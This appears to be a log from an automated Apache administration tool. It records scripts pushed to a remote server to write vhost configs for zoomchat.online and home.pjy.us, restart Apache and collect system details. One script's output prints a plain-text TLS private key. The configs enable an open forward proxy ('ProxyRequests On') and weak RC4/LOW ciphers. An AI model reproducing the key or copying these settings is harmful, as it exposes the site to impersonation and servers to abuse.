    <Location /ws/>
        ProxyPass	ws://localhost:9512/
        ProxyPassReverse	ws://localhost:9512/
    </Location>
    
    <Location /wsx/>
        ProxyPass	http://localhost:9512/
        ProxyPassReverse	http://localhost:9512/
    </Location>
    
    CustomLog	/var/log/httpd/zoomchat/www_secure_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/httpd/conf.d/zoomchat_www_online.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/httpd/sites-enabled/zoomchat_www_online.conf)= /etc/httpd//etc/httpd/conf.d/zoomchat_www_online.conf'
	echo 'file(/etc/httpd//etc/httpd/conf.d/zoomchat_www_online.conf= 1'
fi


2026-05-06 06:00:25: 

chmod 755 /tmp/pkp256678; /tmp/pkp256678; rm /tmp/pkp256678

2026-05-06 06:00:25: 




2026-05-06 06:00:25: 

PUT: /tmp/pkp702084

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-06 06:00:26: 

chmod 755 /tmp/pkp702084; /tmp/pkp702084; rm /tmp/pkp702084

2026-05-06 06:00:26: 


.


2026-05-06 06:00:27: Establishing a connection
2026-05-06 06:00:28: 

PUT: /tmp/pkp193317

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-06 06:00:29: 

chmod 755 /tmp/pkp193317; /tmp/pkp193317; rm /tmp/pkp193317

2026-05-06 06:00:30: 


[Wed May 06 06:00:29.934371 2026] [so:warn] [pid 1903400:tid 139635374258496] AH01574: module status_module is already loaded, skipping
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:2)
         port 80 namevhost voip.patientapps.net (/etc/httpd/conf.d/patientapps.conf:1)
         port 80 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:2)
         port 80 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:2)
                 alias www.zoomchat.online
*:443                  is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:29)
         port 443 namevhost messier.pjy.us (/etc/httpd/conf.d/ssl.conf:40)
         port 443 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:31)
         port 443 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:30)
                 alias www.zoomchat.online
ServerRoot: "/etc/httpd"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/etc/httpd/logs/error_log"
Mutex authn-socache: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/etc/httpd/run/" mechanism=default 
Mutex cache-socache: using_defaults
Mutex authdigest-opaque: using_defaults
Mutex watchdog-callback: using_defaults
Mutex proxy-balancer-shm: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex authdigest-client: using_defaults
Mutex lua-ivm-shm: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/etc/httpd/run/httpd.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="asterisk" id=1000
Group: name="asterisk" id=1000
.




STDERR:
[Wed May 06 06:00:29.934371 2026] [so:warn] [pid 1903400:tid 139635374258496] AH01574: module status_module is already loaded, skipping


2026-05-06 06:00:30: 

PUT: /tmp/pkp754243

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/httpd/conf.d/zoomchat_www_online.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-06 06:00:30: 

chmod 755 /tmp/pkp754243; /tmp/pkp754243; rm /tmp/pkp754243

2026-05-06 06:00:30: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_online.conf	2243

<VirtualHost *:80>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.zoomchat.online
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.zoomchat.online
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    ProxyRequests	On
    RewriteEngine	On
    <Location /ws/>
        ProxyPass	ws://localhost:9512/
        ProxyPassReverse	ws://localhost:9512/
    </Location>
    
    <Location /wsx/>
        ProxyPass	http://localhost:9512/
        ProxyPassReverse	http://localhost:9512/
    </Location>
    
    CustomLog	/var/log/httpd/zoomchat/www_secure_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-05-06 06:00:30: 

PUT: /tmp/pkp398742

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-06 06:00:31: 

chmod 755 /tmp/pkp398742; /tmp/pkp398742; rm /tmp/pkp398742

2026-05-06 06:00:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt	5372
63:99:ac:87:d6:74:51:31:0b:92:40:93:07:5a:16:ac

-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBvsHEXo5MCFgGoD4/KZ15GYgMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTA2MDUwMTQ3WhcNMjYwODA0MDUwMTQ2WjAaMRgwFgYDVQQD
Ew96b29tY2hhdC5vbmxpbmUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDmR1Ep/LK3/pR35u8h8jKkam58nmJg5NCpZhrnrQkNC7VnfH87EiHc/24tm9fG
hmoTmkqb8iUR//BqTlL+X6xu+jW5p9gBFdrsSJrZkAflXeDUJC3B3ktf7AXhmZik
G4Uxp72gjoMfRFyYC/cN7XvSPr7FHk7ABN/OiNzu6v5KsxK1D5DEwuK+HhxkLLBY
21h1HV06+Ws6Bedo2b82ZfxtJznxQHtwWNClXU6lzBjxSe8PA/zmJEbG/xf6XfRE
iXkzClkmH6ZaZDG19MRi5Yw5CYSR1ZrcnNeqWjkhYZMHo/CwshK3FUW6FYm6Vcjl
9ztlj9UipUlNvQa4fcRvxMiVAgMBAAGjggIxMIICLTAOBgNVHQ8BAf8EBAMCBaAw
EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUG/4o
9C3irQBAB9Dd1ln195N8fcMwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKEDjvW
kjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmkubGVu
Y3Iub3JnLzAvBgNVHREEKDAmghN3d3cuem9vbWNoYXQub25saW5lgg96b29tY2hh
dC5vbmxpbmUwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4Yd
aHR0cDovL3IxMy5jLmxlbmNyLm9yZy8zMy5jcmwwggELBgorBgEEAdZ5AgQCBIH8
BIH5APcAdgDIo8R/x7OtuTVrAT9qehJt4zpOQ6XGRvmXrTl1mR3PmgAAAZ373247
AAAEAwBHMEUCIAP/c60L3+IpI692i6vJ52bMHhPlAjxU3sjBbSoCaGJJAiEA0l1d
S7hfsCQSngnfKGG8TJDWsOtEZ0lKbFdv2JOXRwEAfQBs/lAZQ6heqRa8UtEz5NzJ
HvFBHH0lhCDRc4CeGBjrOgAAAZ3733HmAAgAAAUACjkKPwQDAEYwRAIgD5pwnMJJ
Q0uSl98Enq6K6w5eJDqCoNZ7ySjxDbBYYfgCID6V98vxj4h96Uh+e2N++L7hmrBR
/sxgg4yWusmmYAHDMA0GCSqGSIb3DQEBCwUAA4IBAQBQp+bHkhYxZIigcxUmSLEL
bfajCm/4EUp8h1639zGZAq30VZ9H3QvNue3nic5BpH7EYTiWHuyaTWt06ofNbeMQ
NFoceXjRyFMG5AILBAxREZ5gpJQSJRlrCw6FVn9b7KdivnI3s98YDI0THjXFJmGo
GESGg5TwERhYvHsrKFtP9/CMvU9s1qUuS+7yOdaZXQGamJv3WpfwQ28Ia7ffBIjm
YHxSelt4oqsRSYTedAnM2PanpDLVcKb8HPVytMFALOMFanZuGWMt5j+AEendkBa9
xT1okgbzbSh88YzWIkp2yZVXtIBQqxsewwMcAeB++3JGEuDNxzMm82/sts/nh3/O
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDmR1Ep/LK3/pR3
5u8h8jKkam58nmJg5NCpZhrnrQkNC7VnfH87EiHc/24tm9fGhmoTmkqb8iUR//Bq
TlL+X6xu+jW5p9gBFdrsSJrZkAflXeDUJC3B3ktf7AXhmZikG4Uxp72gjoMfRFyY
C/cN7XvSPr7FHk7ABN/OiNzu6v5KsxK1D5DEwuK+HhxkLLBY21h1HV06+Ws6Bedo
2b82ZfxtJznxQHtwWNClXU6lzBjxSe8PA/zmJEbG/xf6XfREiXkzClkmH6ZaZDG1
9MRi5Yw5CYSR1ZrcnNeqWjkhYZMHo/CwshK3FUW6FYm6Vcjl9ztlj9UipUlNvQa4
fcRvxMiVAgMBAAECggEACT49wdxGCzB24qeHG+XLcRc250h55URB+OQOOpQ9kQO8
4hIYpEpvyAhhB90hyIhJgTnCpWb55HKmwomcIgrn57jM3RkhiIzz8Y3fg1Hund8K
YNGGnFRxJ5ZDIoFRDm3usdB3F4Go6IwiAFYN8ltA4AP15yvL2EAfK1HfNmAshAXV
FO41T0gOwnkqd14OYSS4tQh/ad8+hkd0OuVJJIAVc5WP4qJszRGLnWfFJ/f/HF7V
67G7ysIidoxQ9mVrn3ipJH2gN7rc6Py/7eM3+iXyKtVQZsckMPIygztJlDdefei3
eBTP1yIZ3Tttto5JMEFJWpvTxE++WGYON9w1HBeruQKBgQD5zezrk7BytZOWcQ5+
UuProBC3124mPdObYdc3DoN368YLncOx1GKs2mNGNKFwbI/j1BO+nTI50LrovOIz
7IBZXJbX+POCzVayOR3/eB4xASQ1Xj35jazabsHYLvL5kRjfGWtRhMnWu7W3cDeH
ZBQPqb1rbGNY9LeGOY6/RFNCCQKBgQDr/Wq/+JWbzHBiIkQJJaQzi2ramfP+EDBl
/j/1me0dFPFqYkgnTTb1lI4q4ptiSwHBFo80G6bT1/MFcj2SeDQkvt3FP1STnBKX
Rr+zurQfK8gXbAQC+TZSIeYSehKIofNY8Z2mZi2npfUzMbt4xW+QZuMjo3ElhpE6
ulYrvBgFLQKBgQCHOOWLEENvlMLzqPeDgjNGlTr3iXJi2Qz3C5uIfh7Eh6iJGTmZ
xbI0h3M9ybeqN9ocJe0aPdW2XjsPSU/Zc6h2txwghO6sW6MWjryiUc9mD4weJ4m8
0OhExbfA4ok8d0LTYdsqIYtw5eOUDPbCH3aMlAGpaN7OhInj6rxO5Rl8oQKBgF+8
eAEXPMJuxqzZD9bSIXITvi6exEAumyPVaGcfofTpWSL6aiEfjwtD0AUP10+h9D08
BK50BVLtyZZNCTORdj3t/JQXpB0Z9OTP+9dTB92ZalwuItZ9+Y6KWAbo5PnvEYTk
yDsIOr9HcVjqdQ6CskbXpo//r1g05lf33htx/CClAoGAU2JRyjF5dRpyiyhSNf2Q
qh93Zo4qAvlyTKg6cFqFhtKTAtfYKrrSypLkz1AtYaiJf/HUuMScS+BZobwDYZhI
Whe7883cW2hbAiCprHpagUDqDKzEWvNt5PCjADwNmUpEOf9PCo2T+tA0lfg9nAKU
dhzQ88Qk3AuGdR2j6tFh5Sk=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-05-06 06:00:32: Establishing a remote connection
2026-05-06 10:23:57: Establishing a connection
2026-05-06 10:24:15: Establishing a connection
2026-05-06 10:24:37: Establishing a connection
2026-05-06 10:24:38: 

PUT: /tmp/pkp822260

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "sites-available/pjy_home_us.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-06 10:24:38: 

chmod 755 /tmp/pkp822260; /tmp/pkp822260; rm /tmp/pkp822260

2026-05-06 10:24:38: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
sites-available/pjy_home_us.conf 0



2026-05-06 10:24:38: 

PUT: /tmp/pkp672334

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_home_us.conf
TARGET=sites-available/pjy_home_us.conf
DOCROOT=/var/www/pjy_home
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_home
    <Directory /var/www/pjy_home>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/pjy/home_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/pjy
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "../sites-available/pjy_home_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2/sites-available/pjy_home_us.conf'
	echo 'file(/etc/apache2/sites-available/pjy_home_us.conf= 1'
fi


2026-05-06 10:24:38: 

chmod 755 /tmp/pkp672334; /tmp/pkp672334; rm /tmp/pkp672334

2026-05-06 10:24:38: 


chown: invalid user: ‘phil:phil’
link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2/sites-available/pjy_home_us.conf
file(/etc/apache2/sites-available/pjy_home_us.conf= 1




STDERR:
chown: invalid user: ‘phil:phil’


2026-05-06 10:24:38: 

PUT: /tmp/pkp286554

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-06 10:24:38: 

chmod 755 /tmp/pkp286554; /tmp/pkp286554; rm /tmp/pkp286554

2026-05-06 10:24:38: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-06 10:24:38: Performing Server Status
2026-05-06 10:24:38: 

PUT: /tmp/pkp637167

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-05-06 10:24:38: 

chmod 755 /tmp/pkp637167; /tmp/pkp637167; rm /tmp/pkp637167

2026-05-06 10:24:38: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
mars

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-111-generic



2026-05-06 10:24:38: 

PUT: /tmp/pkp530541

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-05-06 10:24:38: 

chmod 755 /tmp/pkp530541; /tmp/pkp530541; rm /tmp/pkp530541

2026-05-06 10:24:38: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2026-03-05T17:31:54
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 32217
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root       32217  0.0  0.9 127644 36516 ?        Ss   May05   0:04 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 headers_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_fcgi_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
